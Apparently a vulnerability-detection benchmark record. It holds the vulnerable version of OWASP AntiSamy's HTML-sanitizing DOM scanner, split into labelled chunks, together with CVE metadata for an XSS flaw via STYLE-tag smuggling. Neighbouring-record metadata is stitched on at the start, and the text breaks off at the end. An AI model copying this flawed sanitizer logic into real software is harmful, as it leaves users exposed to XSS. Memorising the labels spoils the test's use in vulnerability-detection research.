{"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L", "version": "3.1"}, "exploitabilityScore": 2.1, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary"}]}, "published": "2022-12-27T15:15:11.310", "references": [{"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/moderntribe/panel-builder/commit/4528d4f855dbbf24e9fc12a162fda84ce3bedc2f"}, {"source": "cna@vuldb.com", "tags": ["Exploit", "Patch", "Third Party Advisory"], "url": "https://github.com/moderntribe/panel-builder/pull/173"}, {"source": "cna@vuldb.com", "tags": ["Third Party Advisory"], "url": "https://vuldb.com/?id.216738"}], "sourceIdentifier": "cna@vuldb.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-707"}, {"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}], "source": "cna@vuldb.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/moderntribe/panel-builder/commit/4528d4f855dbbf24e9fc12a162fda84ce3bedc2f"}, "type": "CWE-79"}
129
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n * Copyright (c) 2007-2021, Arshan Dabirsiaghi, Jason Li\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n *\n * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\npackage org.owasp.validator.html.scan;", "import org.apache.batik.css.parser.ParseException;\nimport org.apache.xerces.dom.DocumentImpl;\nimport net.sourceforge.htmlunit.cyberneko.parsers.DOMFragmentParser;\nimport org.owasp.validator.css.CssScanner;\nimport org.owasp.validator.html.CleanResults;\nimport org.owasp.validator.html.Policy;\nimport org.owasp.validator.html.PolicyException;\nimport org.owasp.validator.html.ScanException;\nimport org.owasp.validator.html.model.Attribute;\nimport org.owasp.validator.html.model.Tag;\nimport org.owasp.validator.html.util.ErrorMessageUtil;\nimport org.owasp.validator.html.util.HTMLEntityEncoder;\nimport org.w3c.dom.Comment;\nimport org.w3c.dom.DOMException;\nimport org.w3c.dom.Document;\nimport org.w3c.dom.DocumentFragment;\nimport org.w3c.dom.Element;\nimport org.w3c.dom.NamedNodeMap;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\nimport org.w3c.dom.ProcessingInstruction;\nimport org.w3c.dom.Text;\nimport org.xml.sax.InputSource;\nimport org.xml.sax.SAXException;\nimport org.xml.sax.SAXNotRecognizedException;\nimport org.xml.sax.SAXNotSupportedException;", "import java.io.IOException;\nimport java.io.StringReader;\nimport java.io.StringWriter;\nimport java.util.List;\nimport java.util.Queue;\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;", "/**\n * This is where the magic lives. All the scanning/filtration logic resides\n * here, but it should not be called directly. All scanning should be done\n * through an <code>AntiSamy.scan()</code> method.\n * \n * @author Arshan Dabirsiaghi\n */\npublic class AntiSamyDOMScanner extends AbstractAntiSamyScanner {\n private Document document = new DocumentImpl();\n private DocumentFragment dom = document.createDocumentFragment();\n private CleanResults results = null;\n private static final int maxDepth = 250;\n private static final Pattern invalidXmlCharacters =\n Pattern.compile(\"[\\\\u0000-\\\\u001F\\\\uD800-\\\\uDFFF\\\\uFFFE-\\\\uFFFF&&[^\\\\u0009\\\\u000A\\\\u000D]]\");\n private static final Pattern conditionalDirectives = Pattern.compile(\"<?!?\\\\[\\\\s*(?:end)?if[^]]*\\\\]>?\");", " private static final Queue<CachedItem> cachedItems = new ConcurrentLinkedQueue<CachedItem>();", " static class CachedItem {\n private final DOMFragmentParser parser;\n private final Matcher invalidXmlCharMatcher = invalidXmlCharacters.matcher(\"\");", "\n CachedItem() throws SAXNotSupportedException, SAXNotRecognizedException {\n this.parser = getDomParser();\n }", " DOMFragmentParser getDomFragmentParser() {\n return parser;\n }\n }", " public AntiSamyDOMScanner(Policy policy) {\n super(policy);\n }", " /* UnusedDeclaration TODO Investigate */\n public AntiSamyDOMScanner() throws PolicyException {\n super();\n }", " /**\n * This is where the magic lives.\n *\n * @param html A String whose contents we want to scan.\n * @return A <code>CleanResults</code> object with an\n * <code>XMLDocumentFragment</code> object and its String\n * representation, as well as some scan statistics.\n * @throws ScanException When there is a problem encountered\n\t * while scanning the HTML.\n\t */\n @Override\n public CleanResults scan(String html) throws ScanException {", " if (html == null) {\n throw new ScanException(new NullPointerException(\"Null html input\"));\n }", " errorMessages.clear();\n int maxInputSize = policy.getMaxInputSize();", " if (maxInputSize < html.length()) {\n addError(ErrorMessageUtil.ERROR_INPUT_SIZE, new Object[]{html.length(), maxInputSize});\n throw new ScanException(errorMessages.get(0));\n }", " isNofollowAnchors = policy.isNofollowAnchors();\n isNoopenerAndNoreferrerAnchors = policy.isNoopenerAndNoreferrerAnchors();\n isValidateParamAsEmbed = policy.isValidateParamAsEmbed();", " long startOfScan = System.currentTimeMillis();", " try {", " CachedItem cachedItem;\n cachedItem = cachedItems.poll();\n if (cachedItem == null){\n cachedItem = new CachedItem();\n }", " /*\n * We have to replace any invalid XML characters to prevent NekoHTML\n * from breaking when it gets passed encodings like %21.\n */", " html = stripNonValidXMLCharacters(html, cachedItem.invalidXmlCharMatcher);", " /*\n * First thing we do is call the HTML cleaner (\"NekoHTML\") on it\n * with the appropriate options. We choose not to omit tags due to\n * the fallibility of our own listing in the ever changing world of\n * W3C.\n */", " DOMFragmentParser parser = cachedItem.getDomFragmentParser();", " try {\n parser.parse(new InputSource(new StringReader(html)), dom);\n } catch (Exception e) {\n throw new ScanException(e);\n }", " processChildren(dom, 0);", " /*\n * Serialize the output and then return the resulting DOM object and\n * its string representation.\n */", " final String trimmedHtml = html;", " StringWriter out = new StringWriter();", " @SuppressWarnings(\"deprecation\")\n org.apache.xml.serialize.OutputFormat format = getOutputFormat();", " //noinspection deprecation\n org.apache.xml.serialize.HTMLSerializer serializer = getHTMLSerializer(out, format);\n serializer.serialize(dom);", " /*\n * Get the String out of the StringWriter and rip out the XML\n * declaration if the Policy says we should.\n */\n final String trimmed = trim( trimmedHtml, out.getBuffer().toString() );", " Callable<String> cleanHtml = new Callable<String>() {\n public String call() throws Exception {\n return trimmed;\n }\n };", " /*\n * Return the DOM object as well as string HTML.\n */\n results = new CleanResults(startOfScan, cleanHtml, dom, errorMessages);", " cachedItems.add( cachedItem);\n return results;", " } catch (SAXException | IOException e) {\n throw new ScanException(e);\n }", " }", " static DOMFragmentParser getDomParser()\n throws SAXNotRecognizedException, SAXNotSupportedException {\n DOMFragmentParser parser = new DOMFragmentParser();\n parser.setProperty(\"http://cyberneko.org/html/properties/names/elems\", \"lower\");", " parser.setFeature(\"http://cyberneko.org/html/features/scanner/style/strip-cdata-delims\", false);\n parser.setFeature(\"http://cyberneko.org/html/features/scanner/cdata-sections\", true);", " try {\n parser.setFeature(\"http://cyberneko.org/html/features/enforce-strict-attribute-names\", true);\n } catch (SAXNotRecognizedException se) {\n // this indicates that the patched nekohtml is not on the\n // classpath\n }\n return parser;\n }", " /**\n * The workhorse of the scanner. Recursively scans document elements\n * according to the policy. This should be called implicitly through the\n * AntiSamy.scan() method.\n *\n * @param node The node to validate.\n */\n private void recursiveValidateTag(final Node node, int currentStackDepth) throws ScanException {", " currentStackDepth++;", " if(currentStackDepth > maxDepth) {\n throw new ScanException(\"Too many nested tags\");\n }", " if (node instanceof Comment) {\n processCommentNode(node);\n return;\n }", " boolean isElement = node instanceof Element;\n NodeList eleChildNodes = node.getChildNodes();\n if (isElement && eleChildNodes.getLength() == 0) {\n if (removeDisallowedEmpty(node)){\n return;\n }\n }", " if (node instanceof Text && Node.CDATA_SECTION_NODE == node.getNodeType()) {\n stripCData(node);\n return;\n }", " if (node instanceof ProcessingInstruction) {\n removePI(node);\n }", " if (!isElement) {\n return;\n }", " final Element ele = (Element) node;\n final Node parentNode = ele.getParentNode();", " final String tagName = ele.getNodeName();\n final String tagNameLowerCase = tagName.toLowerCase();\n Tag tagRule = policy.getTagByLowercaseName(tagNameLowerCase);", " /*\n * If <param> and no policy and isValidateParamAsEmbed and policy in\n * place for <embed> and <embed> policy is to validate, use custom\n * policy to get the tag through to the validator.\n */\n Tag embedTag = policy.getEmbedTag();\n boolean masqueradingParam = isMasqueradingParam(tagRule, embedTag, tagNameLowerCase);\n if (masqueradingParam){\n tagRule = Constants.BASIC_PARAM_TAG_RULE;\n }", " if ((tagRule == null && policy.isEncodeUnknownTag()) || (tagRule != null && tagRule.isAction( \"encode\"))) {\n encodeTag(currentStackDepth, ele, tagName, eleChildNodes);\n } else if (tagRule == null || tagRule.isAction( Policy.ACTION_FILTER)) {\n actionFilter(currentStackDepth, ele, tagName, tagRule, eleChildNodes);\n } else if (tagRule.isAction( Policy.ACTION_VALIDATE)) {\n actionValidate(currentStackDepth, ele, parentNode, tagName, tagNameLowerCase, tagRule, masqueradingParam, embedTag, eleChildNodes);\n } else if (tagRule.isAction( Policy.ACTION_TRUNCATE)) {\n actionTruncate(ele, tagName, eleChildNodes);\n } else {\n /*\n * If we reached this that means that the tag's action is \"remove\",\n * which means to remove the tag (including its contents).\n */\n addError(ErrorMessageUtil.ERROR_TAG_DISALLOWED, new Object[]{HTMLEntityEncoder.htmlEntityEncode(tagName)});\n removeNode(ele);\n }\n }", " private boolean isMasqueradingParam(Tag tagRule, Tag embedTag, String tagNameLowerCase){\n if (tagRule == null && isValidateParamAsEmbed && \"param\".equals(tagNameLowerCase)) {\n return embedTag != null && embedTag.isAction(Policy.ACTION_VALIDATE);\n }\n return false;\n }", " private void encodeTag(int currentStackDepth, Element ele, String tagName, NodeList eleChildNodes) throws ScanException {\n addError(ErrorMessageUtil.ERROR_TAG_ENCODED, new Object[]{HTMLEntityEncoder.htmlEntityEncode(tagName)});\n processChildren(eleChildNodes, currentStackDepth);", " /*\n * Transform the tag to text, HTML-encode it and promote the\n * children. The tag will be kept in the fragment as one or two text\n * Nodes located before and after the children; representing how the\n * tag used to wrap them.\n */", " encodeAndPromoteChildren(ele);\n }", " private void actionFilter(int currentStackDepth, Element ele, String tagName, Tag tag, NodeList eleChildNodes) throws ScanException {\n if (tag == null) {\n addError(ErrorMessageUtil.ERROR_TAG_NOT_IN_POLICY, new Object[]{HTMLEntityEncoder.htmlEntityEncode(tagName)});\n } else {\n addError(ErrorMessageUtil.ERROR_TAG_FILTERED, new Object[]{HTMLEntityEncoder.htmlEntityEncode(tagName)});\n }", " processChildren(eleChildNodes, currentStackDepth);\n promoteChildren(ele);\n }", " private void actionValidate(int currentStackDepth, Element ele, Node parentNode, String tagName, String tagNameLowerCase, Tag tag, boolean masqueradingParam, Tag embedTag, NodeList eleChildNodes) throws ScanException {\n /*\n * If doing <param> as <embed>, now is the time to convert it.\n */\n String nameValue = null;\n if (masqueradingParam) {\n nameValue = ele.getAttribute(\"name\");\n if (nameValue != null && !\"\".equals(nameValue)) {\n String valueValue = ele.getAttribute(\"value\");\n ele.setAttribute(nameValue, valueValue);\n ele.removeAttribute(\"name\");\n ele.removeAttribute(\"value\");\n tag = embedTag;\n }\n }", " /*\n * Check to see if it's a <style> tag. We have to special case this\n * tag so we can hand it off to the custom style sheet validating\n * parser.\n */", " if (\"style\".equals(tagNameLowerCase) && policy.getStyleTag() != null) {\n if (processStyleTag(ele, parentNode)) return;\n }", " /*\n * Go through the attributes in the tainted tag and validate them\n * against the values we have for them.\n *\n * If we don't have a rule for the attribute we remove the\n * attribute.\n */", " if (processAttributes(ele, tagName, tag, currentStackDepth)) return; // can't process any more if we", " if (\"a\".equals(tagNameLowerCase)) {\n boolean addNofollow = isNofollowAnchors;\n boolean addNoopenerAndNoreferrer = false;", " if (isNoopenerAndNoreferrerAnchors) {\n Node targetAttribute = ele.getAttributes().getNamedItem(\"target\");\n if (targetAttribute != null && targetAttribute.getNodeValue().equalsIgnoreCase(\"_blank\")) {\n addNoopenerAndNoreferrer = true;\n }\n }", " Node relAttribute = ele.getAttributes().getNamedItem(\"rel\");\n String relValue = Attribute.mergeRelValuesInAnchor(addNofollow, addNoopenerAndNoreferrer, relAttribute == null ? \"\" : relAttribute.getNodeValue());\n if (!relValue.isEmpty()){\n ele.setAttribute(\"rel\", relValue.trim());\n }\n }", " processChildren(eleChildNodes, currentStackDepth);", " /*\n * If we have been dealing with a <param> that has been converted to\n * an <embed>, convert it back\n */\n if (masqueradingParam && nameValue != null && !\"\".equals(nameValue)) {\n String valueValue = ele.getAttribute(nameValue);\n ele.setAttribute(\"name\", nameValue);\n ele.setAttribute(\"value\", valueValue);\n ele.removeAttribute(nameValue);\n }\n }", " private boolean processStyleTag(Element ele, Node parentNode) {\n /*\n * Invoke the css parser on this element.\n */\n CssScanner styleScanner = new CssScanner(policy, messages, policy.isEmbedStyleSheets());", " try {", " if (ele.getChildNodes().getLength() > 0) {", " StringBuffer toScan = new StringBuffer();", " for (int i = 0; i < ele.getChildNodes().getLength(); i++) {\n Node childNode = ele.getChildNodes().item(i);\n if (toScan.length() > 0) {\n toScan.append(\"\\n\");\n }\n toScan.append(childNode.getTextContent());\n }", " CleanResults cr = styleScanner.scanStyleSheet(toScan.toString(), policy.getMaxInputSize());\n errorMessages.addAll(cr.getErrorMessages());", " /*\n * If IE gets an empty style tag, i.e. <style/> it will\n * break all CSS on the page. I wish I was kidding. So,\n * if after validation no CSS properties are left, we\n * would normally be left with an empty style tag and\n * break all CSS. To prevent that, we have this check.\n */", "", " String cleanHTML = cr.getCleanHTML();\n cleanHTML = cleanHTML == null || cleanHTML.equals(\"\") ? \"/* */\" : cleanHTML;", " ele.getFirstChild().setNodeValue(cleanHTML);\n /*\n * Remove every other node after cleaning CSS, there will\n * be only one node in the end, as it always should have.", "", " */", " for (int i = 1; i < ele.getChildNodes().getLength(); i++) {", " Node childNode = ele.getChildNodes().item(i);\n ele.removeChild(childNode);\n }\n }", "", " } catch (DOMException | ScanException | ParseException | NumberFormatException e) {", "", " /*\n * ParseException shouldn't be possible anymore, but we'll leave it\n * here because I (Arshan) am hilariously dumb sometimes.\n * Batik can throw NumberFormatExceptions (see bug #48).\n */", "", " addError(ErrorMessageUtil.ERROR_CSS_TAG_MALFORMED, new Object[]{HTMLEntityEncoder.htmlEntityEncode(ele.getFirstChild().getNodeValue())});\n parentNode.removeChild(ele);\n return true;\n }\n return false;\n }", " private void actionTruncate(Element ele, String tagName, NodeList eleChildNodes) {\n /*\n * Remove all attributes. This is for tags like i, b, u, etc. Purely\n * formatting without any need for attributes. It also removes any\n * children.\n */", " NamedNodeMap nnmap = ele.getAttributes();\n while (nnmap.getLength() > 0) {\n addError(ErrorMessageUtil.ERROR_ATTRIBUTE_NOT_IN_POLICY,\n new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(nnmap.item(0).getNodeName())});\n ele.removeAttribute(nnmap.item(0).getNodeName());\n }", " int i = 0;\n int j = 0;\n int length = eleChildNodes.getLength();", " while (i < length) {\n Node nodeToRemove = eleChildNodes.item(j);\n if (nodeToRemove.getNodeType() != Node.TEXT_NODE) {\n ele.removeChild(nodeToRemove);\n } else {\n j++;\n }\n i++;\n }\n }", " private boolean processAttributes(Element ele, String tagName, Tag tag, int currentStackDepth) throws ScanException {\n Node attribute;", " NamedNodeMap attributes = ele.getAttributes();\n for (int currentAttributeIndex = 0; currentAttributeIndex < attributes.getLength(); currentAttributeIndex++) {", " attribute = attributes.item(currentAttributeIndex);", " String name = attribute.getNodeName();\n String value = attribute.getNodeValue();", " Attribute attr = tag.getAttributeByName(name.toLowerCase());", " /*\n * If we there isn't an attribute by that name in our policy\n * check to see if it's a globally defined attribute. Validate\n * against that if so.\n */\n if (attr == null) {\n attr = policy.getGlobalAttributeByName(name);\n if (attr == null && policy.isAllowDynamicAttributes()) {\n // not a global attribute, perhaps it is a dynamic attribute, if allowed\n attr = policy.getDynamicAttributeByName(name);\n }\n }", " /*\n * We have to special case the \"style\" attribute since it's\n * validated quite differently.\n */\n if (\"style\".equals(name.toLowerCase()) && attr != null) {", " /*\n * Invoke the CSS parser on this element.\n */\n CssScanner styleScanner = new CssScanner(policy, messages, false);", " try {\n CleanResults cr = styleScanner.scanInlineStyle(value, tagName, policy.getMaxInputSize());\n attribute.setNodeValue(cr.getCleanHTML());\n List<String> cssScanErrorMessages = cr.getErrorMessages();\n errorMessages.addAll(cssScanErrorMessages);", " } catch (DOMException | ScanException e) {", " addError(ErrorMessageUtil.ERROR_CSS_ATTRIBUTE_MALFORMED,\n new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(ele.getNodeValue())});\n ele.removeAttribute(attribute.getNodeName());\n currentAttributeIndex--;\n }", " } else {", " if (attr != null) {", " // See if attribute is invalid\n if (!(attr.containsAllowedValue( value.toLowerCase()) ||\n (attr.matchesAllowedExpression( value ))) ) {", " /*\n * Attribute is NOT valid, so: Document transgression and perform the\n * \"onInvalid\" action. The default action is to\n * strip the attribute and leave the rest intact.\n */", " String onInvalidAction = attr.getOnInvalid();", " if (\"removeTag\".equals(onInvalidAction)) {", " /*\n * Remove the tag and its contents.\n */", " removeNode(ele);", " addError(ErrorMessageUtil.ERROR_ATTRIBUTE_INVALID_REMOVED,\n new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value)});\n return true;", " } else if (\"filterTag\".equals(onInvalidAction)) {", " /*\n * Remove the attribute and keep the rest of the tag.\n */", " processChildren(ele, currentStackDepth);\n promoteChildren(ele);\n addError(ErrorMessageUtil.ERROR_ATTRIBUTE_CAUSE_FILTER,\n new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value)});\n return true;\n } else if (\"encodeTag\".equals(onInvalidAction)) {", " /*\n * Remove the attribute and keep the rest of the tag.\n */", " processChildren(ele, currentStackDepth);\n encodeAndPromoteChildren(ele);\n addError(ErrorMessageUtil.ERROR_ATTRIBUTE_CAUSE_ENCODE,\n new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value)});\n return true;\n } else {", " /*\n * onInvalidAction = \"removeAttribute\"\n */", " ele.removeAttribute(attribute.getNodeName());\n currentAttributeIndex--;\n addError(ErrorMessageUtil.ERROR_ATTRIBUTE_INVALID,\n new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value)});\n \n }\n }", " } else {\n /*\n * the attribute they specified isn't in our policy\n * - remove it (whitelisting!)\n */", " addError(ErrorMessageUtil.ERROR_ATTRIBUTE_NOT_IN_POLICY,\n new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value)});\n ele.removeAttribute(attribute.getNodeName());\n currentAttributeIndex--;", " } // end if attribute is found in policy file", " } // end while loop through attributes", " } // loop through each attribute\n return false;\n }", " private void processChildren(Node ele, int currentStackDepth) throws ScanException {\n processChildren(ele.getChildNodes(), currentStackDepth);\n }", " private void processChildren(NodeList childNodes, int currentStackDepth ) throws ScanException {\n Node tmp;\n for (int i = 0; i < childNodes.getLength(); i++) {", " tmp = childNodes.item(i);\n recursiveValidateTag(tmp, currentStackDepth);", " /*\n * This indicates the node was removed/failed validation.\n */\n if (tmp.getParentNode() == null) {\n i--;\n }\n }\n }", " private void removePI(Node node) {\n addError(ErrorMessageUtil.ERROR_PI_FOUND, new Object[]{HTMLEntityEncoder.htmlEntityEncode(node.getTextContent())});\n removeNode(node);\n }", " private void stripCData(Node node) {\n addError(ErrorMessageUtil.ERROR_CDATA_FOUND, new Object[]{HTMLEntityEncoder.htmlEntityEncode(node.getTextContent())});\n Node text = document.createTextNode(node.getTextContent());\n node.getParentNode().insertBefore(text, node);\n node.getParentNode().removeChild(node);\n }", " private void processCommentNode(Node node) {\n if (!policy.isPreserveComments()) {\n node.getParentNode().removeChild(node);\n } else {\n String value = ((Comment) node).getData();\n // Strip conditional directives regardless of the\n // PRESERVE_COMMENTS setting.\n if (value != null) {\n ((Comment) node).setData(conditionalDirectives.matcher(value).replaceAll(\"\"));\n }\n }\n }", " private boolean removeDisallowedEmpty(Node node){\n String tagName = node.getNodeName();", " if (!isAllowedEmptyTag(tagName)) {\n /*\n * Wasn't in the list of allowed elements, so we'll nuke it.\n */\n addError(ErrorMessageUtil.ERROR_TAG_EMPTY, new Object[]{HTMLEntityEncoder.htmlEntityEncode(node.getNodeName())});\n removeNode(node);\n return true;\n }\n return false;\n }", " private void removeNode(Node node) {\n\t\tNode parent = node.getParentNode();\n\t\tparent.removeChild(node);\n\t\tString tagName = parent.getNodeName();\n\t\tif(\tparent instanceof Element && \n\t\t\tparent.getChildNodes().getLength() == 0 && \n\t\t\t!isAllowedEmptyTag(tagName)) {\n\t\t\tremoveNode(parent);\n\t\t}\n\t}", "\tprivate boolean isAllowedEmptyTag(String tagName) {\n return \"head\".equals(tagName ) || policy.getAllowedEmptyTags().matches(tagName);\n\t}\n\t\n /**\n * Used to promote the children of a parent to accomplish the \"filterTag\" action.\n *\n * @param ele The Element we want to filter.\n */\n private void promoteChildren(Element ele) {\n promoteChildren(ele, ele.getChildNodes());\n }", " private void promoteChildren(Element ele, NodeList eleChildNodes) {", " Node parent = ele.getParentNode();", " while (eleChildNodes.getLength() > 0) {\n Node node = ele.removeChild(eleChildNodes.item(0));\n parent.insertBefore(node, ele);\n }", " if (parent != null) {\n removeNode(ele);\n }\n }", " /**\n * This method was borrowed from Mark McLaren, to whom I owe much beer.\n *\n * This method ensures that the output has only valid XML unicode characters\n * as specified by the XML 1.0 standard. For reference, please see <a\n * href=\"http://www.w3.org/TR/2000/REC-xml-20001006#NT-Char\">the\n * standard</a>. This method will return an empty String if the input is\n * null or empty.\n *\n * @param in The String whose non-valid characters we want to remove.\n * @param invalidXmlCharsMatcher The reusable regex matcher\n * @return The in String, stripped of non-valid characters.\n */\n private String stripNonValidXMLCharacters(String in, Matcher invalidXmlCharsMatcher) {", " if (in == null || (\"\".equals(in))) {\n return \"\"; // vacancy test.\n }\n invalidXmlCharsMatcher.reset(in);\n return invalidXmlCharsMatcher.matches() ? invalidXmlCharsMatcher.replaceAll(\"\") : in;\n }", " /**\n * Transform the element to text, HTML-encode it and promote the children.\n * The element will be kept in the fragment as one or two text Nodes located\n * before and after the children; representing how the tag used to wrap\n * them. If the element didn't have any children then only one text Node is\n * created representing an empty element.\n *\n * @param ele Element to be encoded\n */\n private void encodeAndPromoteChildren(Element ele) {\n Node parent = ele.getParentNode();\n String tagName = ele.getTagName();\n Node openingTag = parent.getOwnerDocument().createTextNode(toString(ele));\n parent.insertBefore(openingTag, ele);\n if (ele.hasChildNodes()) {\n Node closingTag = parent.getOwnerDocument().createTextNode(\"</\" + tagName + \">\");\n parent.insertBefore(closingTag, ele.getNextSibling());\n }\n promoteChildren(ele);\n }", " /**\n * Returns a text version of the passed element\n *\n * @param ele Element to be converted\n * @return String representation of the element\n */\n private String toString(Element ele) {\n StringBuilder eleAsString = new StringBuilder(\"<\" + ele.getNodeName());\n NamedNodeMap attributes = ele.getAttributes();\n Node attribute;\n for (int i = 0; i < attributes.getLength(); i++) {\n attribute = attributes.item(i);", " String name = attribute.getNodeName();\n String value = attribute.getNodeValue();", " eleAsString.append(\" \");\n eleAsString.append(HTMLEntityEncoder.htmlEntityEncode(name));\n eleAsString.append(\"=\\\"\");\n eleAsString.append(HTMLEntityEncoder.htmlEntityEncode(value));\n eleAsString.append(\"\\\"\");\n }\n if (ele.hasChildNodes()) {\n eleAsString.append(\">\");\n } else {\n eleAsString.append(\"/>\");\n }\n return eleAsString.toString();\n }", " @Override\n public CleanResults getResults() {\n return results;\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [454, 1719], "buggy_code_start_loc": [410, 1715], "filenames": ["src/main/java/org/owasp/validator/html/scan/AntiSamyDOMScanner.java", "src/test/java/org/owasp/validator/html/test/AntiSamyTest.java"], "fixing_code_end_loc": [451, 1724], "fixing_code_start_loc": [410, 1716], "message": "OWASP AntiSamy before 1.6.7 allows XSS via HTML tag smuggling on STYLE content with crafted input. The output serializer does not properly encode the supposed Cascading Style Sheets (CSS) content. NOTE: this issue exists because of an incomplete fix for CVE-2022-28367.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:antisamy_project:antisamy:*:*:*:*:*:*:*:*", "matchCriteriaId": "A2700372-2AF6-4FD7-B284-2C32001E0153", "versionEndExcluding": "1.6.7", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:oracle:enterprise_manager_base_platform:13.4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "D26F3E23-F1A9-45E7-9E5F-0C0A24EE3783", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:enterprise_manager_base_platform:13.5.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "6E8758C8-87D3-450A-878B-86CE8C9FC140", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:12.2.1.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "F14A818F-AA16-4438-A3E4-E64C9287AC66", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:12.2.1.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "4A5BB153-68E0-4DDA-87D1-0D9AB7F0A418", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:14.1.1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "04BCDC24-4A21-473C-8733-0D9CFB38A752", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "OWASP AntiSamy before 1.6.7 allows XSS via HTML tag smuggling on STYLE content with crafted input. The output serializer does not properly encode the supposed Cascading Style Sheets (CSS) content. NOTE: this issue exists because of an incomplete fix for CVE-2022-28367."}, {"lang": "es", "value": "OWASP AntiSamy versiones 